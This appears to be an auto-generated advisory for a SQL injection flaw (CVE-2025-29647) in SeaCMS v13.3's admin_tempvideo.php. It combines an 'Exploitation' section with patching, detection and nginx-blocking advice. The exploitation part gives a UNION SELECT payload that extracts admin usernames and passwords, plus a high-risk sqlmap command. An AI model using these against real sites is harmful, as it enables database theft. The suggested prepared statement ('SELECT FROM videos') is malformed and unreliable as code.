How the CVE Works:
CVE-2025-29647 is a SQL injection flaw in SeaCMS v13.3’s `admin_tempvideo.php` component. Attackers exploit improper input sanitization in HTTP parameters, allowing malicious SQL queries to execute. The vulnerability occurs when user-supplied data is directly concatenated into SQL statements without validation. This enables unauthorized database access, data exfiltration, or admin privilege escalation. The attack vector is network-based, requiring no authentication, and can be triggered via crafted HTTP requests.
DailyCVE Form:
Platform: SeaCMS
Version: v13.3
Vulnerability: SQL Injection
Severity: Critical
Date: 04/08/2025
What Undercode Say:
Exploitation:
1. Craft a malicious payload:
GET /admin_tempvideo.php?id=1%20UNION%20SELECT%201,2,3,4,5,CONCAT(username,0x3a,password),7,8,9,10%20FROM%20admin_table-- HTTP/1.1
2. Use automated tools like `sqlmap`:
sqlmap -u "http://target/admin_tempvideo.php?id=1" --risk=3 --level=5
Protection:
1. Patch: Apply vendor updates.
2. Sanitize inputs:
$id = mysqli_real_escape_string($conn, $_GET['id']);
3. Use prepared statements:
$stmt = $conn->prepare("SELECT FROM videos WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
4. WAF rules: Block suspicious SQL patterns.
5. Log monitoring: Detect repeated injection attempts.
Analytics:
- Attack Surface: Remote, high prevalence.
- Exploitability: Trivial with public PoCs.
- Impact: Full database compromise.
Detection:
grep -r "mysql_query.$_GET" /var/www/seacms/
Mitigation:
location ~ admin_tempvideo.php {
deny all;
}
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-29647
Extra Source Hub:
Undercode
